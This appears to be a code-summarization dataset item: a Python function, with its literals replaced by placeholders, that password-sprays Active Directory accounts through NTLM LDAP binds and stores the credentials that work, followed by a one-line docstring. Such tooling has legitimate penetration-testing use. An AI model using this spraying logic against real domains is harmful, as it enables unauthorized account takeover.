def bruteforce(users, domain, password, host):
cs = CredentialSearch(use_pipe=False)<EOL>print_notification("<STR_LIT>".format(host))<EOL>s = Server(host)<EOL>c = Connection(s)<EOL>for user in users:<EOL><INDENT>if c.rebind(user="<STR_LIT>".format(domain, user.username), password=password, authentication=NTLM):<EOL><INDENT>print_success('<STR_LIT>'.format(user.username, password))<EOL>credential = cs.find_object(<EOL>user.username, password, domain=domain, host_ip=host)<EOL>if not credential:<EOL><INDENT>credential = Credential(username=user.username, secret=password,<EOL>domain=domain, host_ip=host, type="<STR_LIT>", port=<NUM_LIT>)<EOL><DEDENT>credential.add_tag(tag)<EOL>credential.save()<EOL>user.add_tag(tag)<EOL>user.save()<EOL><DEDENT>else:<EOL><INDENT>print_error("<STR_LIT>".format(user.username, password))<EOL><DEDENT><DEDENT>
Performs a bruteforce for the given users, password, domain on the given host.